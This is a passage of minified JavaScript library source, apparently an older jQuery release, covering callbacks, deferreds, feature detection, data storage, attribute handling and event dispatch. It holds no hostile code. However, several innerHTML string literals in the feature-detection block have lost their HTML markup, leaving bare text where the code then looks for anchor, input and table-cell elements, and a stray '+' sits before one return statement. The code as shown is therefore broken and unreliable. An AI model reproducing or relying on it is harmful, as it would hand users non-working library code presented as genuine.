n&&(o=e[n],n=e,e=o),b.isFunction(e)?(r=h.call(arguments,2),i=function(){return e.apply(n||this,r.concat(h.call(arguments)))},i.guid=e.guid=e.guid||b.guid++,i):t},access:function(e,n,r,i,o,a,s){var u=0,l=e.length,c=null==r;if("object"===b.type(r)){o=!0;for(u in r)b.access(e,n,u,r[u],!0,a,s)}else if(i!==t&&(o=!0,b.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(b(e),n)})),n))for(;l>u;u++)n(e[u],r,s?i:i.call(e[u],u,n(e[u],r)));return o?e:c?n.call(e):l?n(e[0],r):a},now:function(){return(new Date).getTime()}}),b.ready.promise=function(t){if(!n)if(n=b.Deferred(),"complete"===o.readyState)setTimeout(b.ready);else if(o.addEventListener)o.addEventListener("DOMContentLoaded",H,!1),e.addEventListener("load",H,!1);else{o.attachEvent("onreadystatechange",H),e.attachEvent("onload",H);var r=!1;try{r=null==e.frameElement&&o.documentElement}catch(i){}r&&r.doScroll&&function a(){if(!b.isReady){try{r.doScroll("left")}catch(e){return setTimeout(a,50)}q(),b.ready()}}()}return n.promise(t)},b.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=b.type(e);return b.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=b(o);var _={};function F(e){var t=_[e]={};return b.each(e.match(w)||[],function(e,n){t[n]=!0}),t}b.Callbacks=function(e){e="string"==typeof e?_[e]||F(e):b.extend({},e);var n,r,i,o,a,s,u=[],l=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=u.length,n=!0;u&&o>a;a++)if(u[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,u&&(l?l.length&&c(l.shift()):r?u=[]:p.disable())},p={add:function(){if(u){var t=u.length;(function i(t){b.each(t,function(t,n){var r=b.type(n);"function"===r?e.unique&&p.has(n)||u.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=u.length:r&&(s=t,c(r))}return this},remove:function(){return u&&b.each(arguments,function(e,t){var r;while((r=b.inArray(t,u,r))>-1)u.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?b.inArray(e,u)>-1:!(!u||!u.length)},empty:function(){return u=[],this},disable:function(){return u=l=r=t,this},disabled:function(){return!u},lock:function(){return l=t,r||p.disable(),this},locked:function(){return!l},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],!u||i&&!l||(n?l.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return!!i}};return p},b.extend({Deferred:function(e){var t=[["resolve","done",b.Callbacks("once memory"),"resolved"],["reject","fail",b.Callbacks("once memory"),"rejected"],["notify","progress",b.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return b.Deferred(function(n){b.each(t,function(t,o){var a=o[0],s=b.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&b.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?b.extend(e,r):r}},i={};return r.pipe=r.then,b.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=h.call(arguments),r=n.length,i=1!==r||e&&b.isFunction(e.promise)?r:0,o=1===i?e:b.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?h.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,u,l;if(r>1)for(s=Array(r),u=Array(r),l=Array(r);r>t;t++)n[t]&&b.isFunction(n[t].promise)?n[t].promise().done(a(t,l,n)).fail(o.reject).progress(a(t,u,s)):--i;return i||o.resolveWith(l,n),o.promise()}}),b.support=function(){var t,n,r,a,s,u,l,c,p,f,d=o.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="
    a",n=d.getElementsByTagName("*"),r=d.getElementsByTagName("a")[0],!n||!r||!n.length)return{};s=o.createElement("select"),l=s.appendChild(o.createElement("option")),a=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={getSetAttribute:"t"!==d.className,leadingWhitespace:3===d.firstChild.nodeType,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:"/a"===r.getAttribute("href"),opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:!!a.value,optSelected:l.selected,enctype:!!o.createElement("form").enctype,html5Clone:"<:nav>"!==o.createElement("nav").cloneNode(!0).outerHTML,boxModel:"CSS1Compat"===o.compatMode,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},a.checked=!0,t.noCloneChecked=a.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!l.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}a=o.createElement("input"),a.setAttribute("value",""),t.input=""===a.getAttribute("value"),a.value="t",a.setAttribute("type","radio"),t.radioValue="t"===a.value,a.setAttribute("checked","t"),a.setAttribute("name","t"),u=o.createDocumentFragment(),u.appendChild(a),t.appendChecked=a.checked,t.checkClone=u.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||d.attributes[c].expando===!1;return d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip,b(function(){var n,r,a,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",u=o.getElementsByTagName("body")[0];u&&(n=o.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",u.appendChild(n).appendChild(d),d.innerHTML="
    t
    ",a=d.getElementsByTagName("td"),a[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===a[0].offsetHeight,a[0].style.display="",a[1].style.display="none",t.reliableHiddenOffsets=p&&0===a[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=4===d.offsetWidth,t.doesNotIncludeMarginInBodyOffset=1!==u.offsetTop,e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(o.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="
    ",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(u.style.zoom=1)),u.removeChild(n),n=d=a=r=null)}),n=s=u=l=r=a=null,t}();var O=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,B=/([A-Z])/g;function P(e,n,r,i){if(b.acceptData(e)){var o,a,s=b.expando,u="string"==typeof n,l=e.nodeType,p=l?b.cache:e,f=l?e[s]:e[s]&&s;if(f&&p[f]&&(i||p[f].data)||!u||r!==t)return f||(l?e[s]=f=c.pop()||b.guid++:f=s),p[f]||(p[f]={},l||(p[f].toJSON=b.noop)),("object"==typeof n||"function"==typeof n)&&(i?p[f]=b.extend(p[f],n):p[f].data=b.extend(p[f].data,n)),o=p[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[b.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[b.camelCase(n)])):a=o,a}}function R(e,t,n){if(b.acceptData(e)){var r,i,o,a=e.nodeType,s=a?b.cache:e,u=a?e[b.expando]:b.expando;if(s[u]){if(t&&(o=n?s[u]:s[u].data)){b.isArray(t)?t=t.concat(b.map(t,b.camelCase)):t in o?t=[t]:(t=b.camelCase(t),t=t in o?[t]:t.split(" "));for(r=0,i=t.length;i>r;r++)delete o[t[r]];if(!(n?$:b.isEmptyObject)(o))return}(n||(delete s[u].data,$(s[u])))&&(a?b.cleanData([e],!0):b.support.deleteExpando||s!=s.window?delete s[u]:s[u]=null)}}}b.extend({cache:{},expando:"jQuery"+(p+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?b.cache[e[b.expando]]:e[b.expando],!!e&&!$(e)},data:function(e,t,n){return P(e,t,n)},removeData:function(e,t){return R(e,t)},_data:function(e,t,n){return P(e,t,n,!0)},_removeData:function(e,t){return R(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&b.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),b.fn.extend({data:function(e,n){var r,i,o=this[0],a=0,s=null;if(e===t){if(this.length&&(s=b.data(o),1===o.nodeType&&!b._data(o,"parsedAttrs"))){for(r=o.attributes;r.length>a;a++)i=r[a].name,i.indexOf("data-")||(i=b.camelCase(i.slice(5)),W(o,i,s[i]));b._data(o,"parsedAttrs",!0)}return s}return"object"==typeof e?this.each(function(){b.data(this,e)}):b.access(this,function(n){return n===t?o?W(o,e,b.data(o,e)):null:(this.each(function(){b.data(this,e,n)}),t)},null,n,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){b.removeData(this,e)})}});function W(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(B,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:O.test(r)?b.parseJSON(r):r}catch(o){}b.data(e,n,r)}else r=t}return r}function $(e){var t;for(t in e)if(("data"!==t||!b.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}b.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=b._data(e,n),r&&(!i||b.isArray(r)?i=b._data(e,n,b.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=b.queue(e,t),r=n.length,i=n.shift(),o=b._queueHooks(e,t),a=function(){b.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),o.cur=i,i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return b._data(e,n)||b._data(e,n,{empty:b.Callbacks("once memory").add(function(){b._removeData(e,t+"queue"),b._removeData(e,n)})})}}),b.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?b.queue(this[0],e):n===t?this:this.each(function(){var t=b.queue(this,e,n);b._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&b.dequeue(this,e)})},dequeue:function(e){return this.each(function(){b.dequeue(this,e)})},delay:function(e,t){return e=b.fx?b.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=b.Deferred(),a=this,s=this.length,u=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=b._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(u));return u(),o.promise(n)}});var I,z,X=/[\t\r\n]/g,U=/\r/g,V=/^(?:input|select|textarea|button|object)$/i,Y=/^(?:a|area)$/i,J=/^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i,G=/^(?:checked|selected)$/i,Q=b.support.getSetAttribute,K=b.support.input;b.fn.extend({attr:function(e,t){return b.access(this,b.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){b.removeAttr(this,e)})},prop:function(e,t){return b.access(this,b.prop,e,t,arguments.length>1)},removeProp:function(e){return e=b.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,u="string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=b.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,u=0===arguments.length||"string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?b.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e,r="boolean"==typeof t;return b.isFunction(e)?this.each(function(n){b(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var o,a=0,s=b(this),u=t,l=e.match(w)||[];while(o=l[a++])u=r?u:!s.hasClass(o),s[u?"addClass":"removeClass"](o)}else(n===i||"boolean"===n)&&(this.className&&b._data(this,"__className__",this.className),this.className=this.className||e===!1?"":b._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(X," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=b.isFunction(e),this.each(function(n){var o,a=b(this);1===this.nodeType&&(o=i?e.call(this,n,a.val()):e,null==o?o="":"number"==typeof o?o+="":b.isArray(o)&&(o=b.map(o,function(e){return null==e?"":e+""})),r=b.valHooks[this.type]||b.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return r=b.valHooks[o.type]||b.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(U,""):null==n?"":n)}}}),b.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,u=0>i?s:o?i:0;for(;s>u;u++)if(n=r[u],!(!n.selected&&u!==i||(b.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&b.nodeName(n.parentNode,"optgroup"))){if(t=b(n).val(),o)return t;a.push(t)}return a},set:function(e,t){var n=b.makeArray(t);return b(e).find("option").each(function(){this.selected=b.inArray(b(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attr:function(e,n,r){var o,a,s,u=e.nodeType;if(e&&3!==u&&8!==u&&2!==u)return typeof e.getAttribute===i?b.prop(e,n,r):(a=1!==u||!b.isXMLDoc(e),a&&(n=n.toLowerCase(),o=b.attrHooks[n]||(J.test(n)?z:I)),r===t?o&&a&&"get"in o&&null!==(s=o.get(e,n))?s:(typeof e.getAttribute!==i&&(s=e.getAttribute(n)),null==s?t:s):null!==r?o&&a&&"set"in o&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r):(b.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(w);if(o&&1===e.nodeType)while(n=o[i++])r=b.propFix[n]||n,J.test(n)?!Q&&G.test(n)?e[b.camelCase("default-"+n)]=e[r]=!1:e[r]=!1:b.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{type:{set:function(e,t){if(!b.support.radioValue&&"radio"===t&&b.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!b.isXMLDoc(e),a&&(n=b.propFix[n]||n,o=b.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):V.test(e.nodeName)||Y.test(e.nodeName)&&e.href?0:t}}}}),z={get:function(e,n){var r=b.prop(e,n),i="boolean"==typeof r&&e.getAttribute(n),o="boolean"==typeof r?K&&Q?null!=i:G.test(n)?e[b.camelCase("default-"+n)]:!!i:e.getAttributeNode(n);return o&&o.value!==!1?n.toLowerCase():t},set:function(e,t,n){return t===!1?b.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&b.propFix[n]||n,n):e[b.camelCase("default-"+n)]=e[n]=!0,n}},K&&Q||(b.attrHooks.value={get:function(e,n){var r=e.getAttributeNode(n);return b.nodeName(e,"input")?e.defaultValue:r&&r.specified?r.value:t},set:function(e,n,r){return b.nodeName(e,"input")?(e.defaultValue=n,t):I&&I.set(e,n,r)}}),Q||(I=b.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&("id"===n||"name"===n||"coords"===n?""!==r.value:r.specified)?r.value:t},set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},b.attrHooks.contenteditable={get:I.get,set:function(e,t,n){I.set(e,""===t?!1:t,n)}},b.each(["width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}})})),b.support.hrefNormalized||(b.each(["href","src","width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return null==r?t:r}})}),b.each(["href","src"],function(e,t){b.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}})),b.support.style||(b.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),b.support.optSelected||(b.propHooks.selected=b.extend(b.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),b.support.enctype||(b.propFix.enctype="encoding"),b.support.checkOn||b.each(["radio","checkbox"],function(){b.valHooks[this]={get:function(e){return null===e.getAttribute("value")?"on":e.value}}}),b.each(["radio","checkbox"],function(){b.valHooks[this]=b.extend(b.valHooks[this],{set:function(e,n){return b.isArray(n)?e.checked=b.inArray(b(e).val(),n)>=0:t}})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}b.event={global:{},add:function(e,n,r,o,a){var s,u,l,c,p,f,d,h,g,m,y,v=b._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=b.guid++),(u=v.events)||(u=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof b===i||e&&b.event.triggered===e.type?t:b.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(w)||[""],l=n.length;while(l--)s=rt.exec(n[l])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),p=b.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=b.event.special[g]||{},d=b.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&b.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=u[g])||(h=u[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),b.event.global[g]=!0;e=null}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,p,f,d,h,g,m=b.hasData(e)&&b._data(e);if(m&&(c=m.events)){t=(t||"").match(w)||[""],l=t.length;while(l--)if(s=rt.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=b.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),u=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));u&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||b.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)b.event.remove(e,d+t[l],n,r,!0);b.isEmptyObject(c)&&(delete m.handle,b._removeData(e,"events"))}},trigger:function(n,r,i,a){var s,u,l,c,p,f,d,h=[i||o],g=y.call(n,"type")?n.type:n,m=y.call(n,"namespace")?n.namespace.split("."):[];if(l=f=i=i||o,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g+b.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),u=0>g.indexOf(":")&&"on"+g,n=n[b.expando]?n:new b.Event(g,"object"==typeof n&&n),n.isTrigger=!0,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:b.makeArray(r,[n]),p=b.event.special[g]||{},a||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!a&&!p.noBubble&&!b.isWindow(i)){for(c=p.delegateType||g,nt.test(c+g)||(l=l.parentNode);l;l=l.parentNode)h.push(l),f=l;f===(i.ownerDocument||o)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((l=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(b._data(l,"events")||{})[n.type]&&b._data(l,"handle"),s&&s.apply(l,r),s=u&&l[u],s&&b.acceptData(l)&&s.apply&&s.apply(l,r)===!1&&n.preventDefault();if(n.type=g,!(a||n.isDefaultPrevented()||p._default&&p._default.apply(i.ownerDocument,r)!==!1||"click"===g&&b.nodeName(i,"a")||!b.acceptData(i)||!u||!i[g]||b.isWindow(i))){f=i[u],f&&(i[u]=null),b.event.triggered=g;try{i[g]()}catch(v){}b.event.triggered=t,f&&(i[u]=f)}return n.result}},dispatch:function(e){e=b.event.fix(e);var n,r,i,o,a,s=[],u=h.call(arguments),l=(b._data(this,"events")||{})[e.type]||[],c=b.event.special[e.type]||{};if(u[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=b.event.handlers.call(this,e,l),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((b.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,u),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],u=n.delegateCount,l=e.target;if(u&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(o=[],a=0;u>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?b(r,this).index(l)>=0:b.find(r,this,null,[l]).length),o[r]&&o.push(i);o.length&&s.push({elem:l,handlers:o})}return n.length>u&&s.push({elem:this,handlers:n.slice(u)}),s},fix:function(e){if(e[b.expando])return e;var t,n,r,i=e.type,a=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new b.Event(a),t=r.length;while(t--)n=r[t],e[n]=a[n];return e.target||(e.target=a.srcElement||o),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,a):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,a,s=n.button,u=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||o,a=i.documentElement,r=i.body,e.pageX=n.clientX+(a&&a.scrollLeft||r&&r.scrollLeft||0)-(a&&a.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(a&&a.scrollTop||r&&r.scrollTop||0)-(a&&a.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&u&&(e.relatedTarget=u===e.target?n.toElement:u),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},click:{trigger:function(){return b.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t}},focus:{trigger:function(){if(this!==o.activeElement&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===o.activeElement&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=b.extend(new b.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?b.event.trigger(i,null,t):b.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},b.removeEvent=o.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},b.Event=function(e,n){return this instanceof b.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&b.extend(this,n),this.timeStamp=e&&e.timeStamp||b.now(),this[b.expando]=!0,t):new b.Event(e,n)},b.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},b.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){b.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj; +return(!i||i!==r&&!b.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),b.support.submitBubbles||(b.event.special.submit={setup:function(){return b.nodeName(this,"form")?!1:(b.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=b.nodeName(n,"input")||b.nodeName(n,"button")?n.form:t;r&&!b._data(r,"submitBubbles")&&(b.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),b._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&b.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return b.nodeName(this,"form")?!1:(b.event.remove(this,"._submit"),t)}}),b.support.changeBubbles||(b.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(b.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),b.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),b.event.simulate("change",this,e,!0)})),!1):(b.event.add(this,"beforeactivate._change",function(e){var 